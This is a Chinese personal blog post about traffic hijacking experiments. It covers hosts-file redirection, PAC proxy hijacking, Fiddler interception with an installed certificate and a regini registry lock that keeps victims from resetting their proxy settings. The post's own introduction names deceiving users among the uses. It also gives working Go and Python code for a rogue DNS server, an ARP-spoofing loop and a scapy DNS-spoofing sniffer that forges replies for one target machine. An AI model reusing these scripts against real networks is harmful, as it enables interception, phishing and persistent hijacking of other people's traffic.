【每日随记】HTTPS 域名劫持跳转实验
2022-07-11 / 0 评论 / 417 阅读 / 157 点赞

【每日随记】HTTPS 域名劫持跳转实验

发光的神
2022-07-11 / 0 评论 / 417 阅读 / 正在检测是否收录...

简介

本地劫持指的是通过修改电脑或设备的网络设置,将某个域名解析到指定的目标网站或服务器上,这样,当用户访问这个域名时,会自动跳转到事先设定的网站。这种行为可以用来重定向流量、欺骗用户或进行网络攻击。简单来说,就是别人访问某个网址,实际看到的页面是你控制的,达到了特定的目的,这就是域名劫持。

hosts劫持

修改 hosts 文件,添加对应的IP和自定义域名解析。
通过 ping 命令验证,域名已经解析到指定的内网IP地址,能够正常访问。
但当通过浏览器访问自定义的域名时,发现访问失败(可能是因为 hosts 只能指定内网IP,公网访问时无法生效)。

2022-07-15T13:12:45.png
根据我发现,一些私服游戏使用 hosts 文件来实现劫持,可以直接访问。
现在的问题是,我们想通过 hosts 文件来访问并跳转到指定的网站。

可以这样做:
既然已经有权限修改 hosts 文件,为什么不在本地启动一个运行在 80 端口的服务?
然后,通过前端的 JS 脚本,自动跳转到指定的网站。

优点:
操作简单,不需要额外的服务器
可以在本地启动服务,直接访问指定的 HTTP 网站

缺点:
网址会变成内网IP,用户访问体验稍微受影响
只能访问 HTTP 网站,无法支持 HTTPS 等加密协议

C:\Windows\System32\drivers\etc\hosts # hosts文件路径

WEB 服务

Go代码

package main

import (
    "net/http"
)

func main() {
    content := "<script>location.href='http://news.sohu.com/';</script>"
    http.HandleFunc("/", func(rw http.ResponseWriter, r *http.Request) {
        rw.Write([]byte(content))
    })
    http.ListenAndServe("0.0.0.0:80", nil)
}

Python代码

from flask import *

app = Flask(__name__)
@app.route("/", methods=["GET"])
def Jump():
    return '<script>location.href="http://news.sohu.com/";</script>'

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=80)

PAC代理劫持

PAC代理劫持非常简单,它利用浏览器的过滤规则来拦截指定的请求。这个方法只支持 HTTP 请求,需要服务器,但也可以不用服务器。

实现方法:
利用PAC脚本,可以在浏览器中设置代理,远程或本地修改劫持的链接。
如果使用本地路径,虽然无法远程修改,但能够直接控制劫持的网址。

优点:
支持局域网和公网
网址不会变,只是网页内容发生变化
只有访问被过滤的网址时才会触发代理

缺点:
只能支持 HTTP 网站,无法处理 HTTPS 请求
PAC脚本相关的详细文章可以参考: PAC脚本文章

2022-07-15T13:40:22.png

PAC脚本

function FindProxyForURL(url, host) {
  var HiJackList = [
    '183.136.132.24',
    'qytl.xiaohaibao.vip',
    'qcsa.pktlsohu.com',
]
 
 for (i = 0; i < HiJackList.length; i++) {
        if (shExpMatch(host, HiJackList[i])) {
            return "PROXY  113.20.101.128:80;";
        }
    }
    return "DIRECT"
}

现在的问题是,别人访问到服务器上的流量,但我希望将这些访问直接跳转到指定的页面,而网址不会改变。
可以使用 Fiddler 这个抓包工具来实现重定向规则,将所有访问指定的网址的流量都重定向到目标网站。

代理劫持

操作上差不多,主要是通过Fiddler的重定向规则来实现,但需要一些额外的设置。

实现方法:
使用Fiddler来设置重定向规则,将所有通过服务器访问的流量转向到目标网站。
为了支持HTTPS,需安装Fiddler的证书到客户端,才能让HTTPS流量也经过服务器进行重定向。

2022-07-15T14:02:26.png

通过注册表限制对特定键的修改操作。

实现方法:
使用 regini lock.ini 命令(需要管理员权限),可以将注册表某个项设置为只读状态,防止任何修改。
这样即使尝试修改注册表,也不会生效,因为该项已被锁定为只读状态。

1 - Administrators 完全访问
2 - Administrators 只读访问
3 - Administrators 读和写入访问
4 - Administrators 读、写入、删除访问
5 - Creator 完全访问
6 - Creator 读和写入访问
7 - everyone 完全访问
8 - everyone 只读访问
9 - everyone 读和写入访问
10 - everyone 读、写入、删除访问
11 - Power Users 完全访问
12 - Power Users 读和写入访问
13 - Power Users 读、写入、删除访问
14 - System Operators 完全访问
15 - System Operators 读和写入访问
16 - System Operators 读、写入、删除访问
17 - System 完全访问
18 - System 读和写入访问
19 - System 只读访问
20 - Administrators 读、写、执行访问
21 - Interactive User 完全访问
22 - Interactive User 读和写入访问
23 - Interactive User 读、写入、删除访问

lock.ini 内容

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings [2 8 19]

2022-07-15T14:17:45.png

本地劫持

这个软件类似于Fiddler,可以在本地修改网站内容。用户可以通过安装插件来调用DLL文件,使用Go语言实现中间人功能。

推荐网站:sunny
可以下载模块调用DLL实现,类似于Fiddler的功能,支持HTTPS和HTTP网站。
使用视频教程: Bilibili视频教程

优点:
支持修改HTTPS和HTTP的网站
网址不会变,只是网页内容会发生变化

缺点:
暂无明显缺点,操作简单直观。

DNS劫持

可以在Windows Server上搭建一台DNS服务器,通过Go语言作为服务器部分处理DNS查询,Python作为查询库来解析没有的IP地址。

实现方法:
Go 负责接收DNS查询请求,并返回响应。
Python 负责解析没有缓存的IP地址,比如通过外部API或其他方式获取无法直接解析的IP。

启动DNS服务

Go代码


// Go 服务器
package main

import (
    "encoding/json"
    "fmt"
    "io/ioutil"
    "log"
    "net"
    "net/http"
    "strconv"

    "github.com/miekg/dns"
)

var domainsToAddresses map[string]string = map[string]string{
    "rtex.com.cn.":        "103.30.201.118",
    "jameshfisher.com.":   "103.30.201.118",
    "www.free-proxy.com.": "148.72.168.34",
    "us1.free-proxy.com.": "148.72.168.34",
    "us2.free-proxy.com.": "148.72.169.80",
}

type handler struct{}

func (this *handler) ServeDNS(w dns.ResponseWriter, r *dns.Msg) {
    msg := dns.Msg{}
    msg.SetReply(r)
    switch r.Question[0].Qtype {
    case dns.TypeA:
        msg.Authoritative = true
        domain := msg.Question[0].Name

        address, ok := domainsToAddresses[domain]
        if !ok {

            url2 := "http://www.ac.cn/dns?domain=" + domain
            res, _ := http.Get(url2)
            resp, _ := ioutil.ReadAll(res.Body)

            fmt.Printf("%s", resp)
            type DIP struct {
                Domain string
                IP     string
            }
            var dip DIP
            err := json.Unmarshal(resp, &dip)
            if err != nil {
                fmt.Println("error:", err)
            }
            domainsToAddresses[domain] = dip.IP
            address = dip.IP
        }

        log.Println("domain:\t", domain, address, ok)

        msg.Answer = append(msg.Answer, &dns.A{
            Hdr: dns.RR_Header{Name: domain, Rrtype: dns.TypeA, Class: dns.ClassINET, Ttl: 60},
            A:   net.ParseIP(address),
        })
    }
    fmt.Println("------------------------------------------------------")
    w.WriteMsg(&msg)
}

func main() {

    srv := &dns.Server{Addr: ":" + strconv.Itoa(53), Net: "udp"}
    srv.Handler = &handler{}

    if err := srv.ListenAndServe(); err != nil {
        log.Fatalf("Failed to set udp listener %s\n", err.Error())
    }
}

Python代码

from flask import Flask, request, jsonify
import socket
app = Flask(__name__)

@app.route('/', methods=['GET'])
def hello_world():
    d = {
        'msg': '/dns?domain=xxx.xx'
    }
    return jsonify(d)
    pass

@app.route('/dns', methods=['GET'])
def dns():
    domain = request.args.get('domain', "")
    rt = {}
    rt['domain'] = domain
    ip = ''
    if domain:
        try:
            ip = socket.gethostbyname(domain)            
        except Exception as e:
            print(e)
            rt['error'] = str(e)
            pass
    rt['ip'] = ip
    return jsonify(rt)
    pass


if __name__ == '__main__':
    app.run(debug=True)

然后自定义dns地址就可以指定跳转了

ARP欺骗

ARP欺骗的原理很简单,就是伪装自己是网关,让所有的流量都通过你的机器。这样类似于Fiddler的过滤和修改原理,可以修改响应的数据并返回自定义的IP。

实现方法:
使用Kali Linux Python的scapy库来进行ARP欺骗。
通过欺骗将流量引导到你的机器,然后进行修改和返回自定义的IP地址。
效果:

通过欺骗网关,所有的流量都会经过你的机器,可以进行HTTP请求的修改。
可以修改HTTP响应,但目前仅支持HTTP,不支持HTTPS。

优点:
直接欺骗网关,能够控制所有流量
可以动态修改返回的数据

缺点:
只能支持HTTP,无法处理HTTPS请求。

Python代码

from scapy.all import *
import time

p1 = Ether(dst="ff:ff:ff:ff:ff:ff",src="b8:81:98:e0:46:6a")/ARP(pdst="192.168.43.250",psrc="192.168.43.1")
for i in range(6000):
    sendp(p1)
    time.sleep(0.1)

然后到服务打开这个服务,让流量成转发模式,不然对方就直接断网

2022-07-15T14:52:22.png

Python 过滤代码

from scapy.all import *
import sys

# dns = IP()/UDP()/DNS(id,qr,opcode,rd,qd=DNSQR(qnname=dns_name), verbose=False) id标识 匹配请求与回应 qr 0表示查询报文 opcode 0表示标准查询 rd 1表示递归

def DNS_Spoof(data):
    try:
        # ip_fields = data.getlayer(IP).fields
        # udp_fields = data.getlayer(UDP).fields
        # dns_fields = data.getlayer(DNS).fields

        # print(ip_fields)
        # print(udp_fields)
        # print(dns_fields)
        req_domain = data[DNS].qd.qname
        print(str(req_domain).split("'")[1])
        print(str(data[IP].src))
        print(str(data[IP].src) == '192.168.31.135')
        print(str(req_domain) == 'www.baidu.com')
        if str(data[IP].src) == '192.168.31.135':
            # if str(req_domain).split("'")[1].find('baidu.com'):
                print(str(req_domain))
                del (data[UDP].len)
                del (data[UDP].chksum)
                del (data[IP].len)
                del (data[IP].chksum)
                res = data.copy()
                res.FCfield = 2
                res.src, res.dst = data.dst, data.src
                res[IP].src, res[IP].dst = data[IP].dst, data[IP].src
                res.sport, res.dport = data.dport, data.sport
                res[DNS].qr = 1
                res[DNS].ra = 1
                res[DNS].ancount = 1
                res[DNS].an = DNSRR(
                    rrname = req_domain,
                    type = 'A',
                    rclass = 'IN',
                    ttl = 900,
                    rdata = '220.220.220.220'
                )
                sendp(res)
        else:
            print('不是目标主机')
    except Exception as e:
        print(e)

def DNS_S(iface):
    sniff(prn=DNS_Spoof,filter='udp dst port 53',iface=iface)

if __name__ == '__main__':
    DNS_S('Realtek 8812BU Wireless LAN 802.11ac USB NIC')
157

评论 (0)

取消
0:00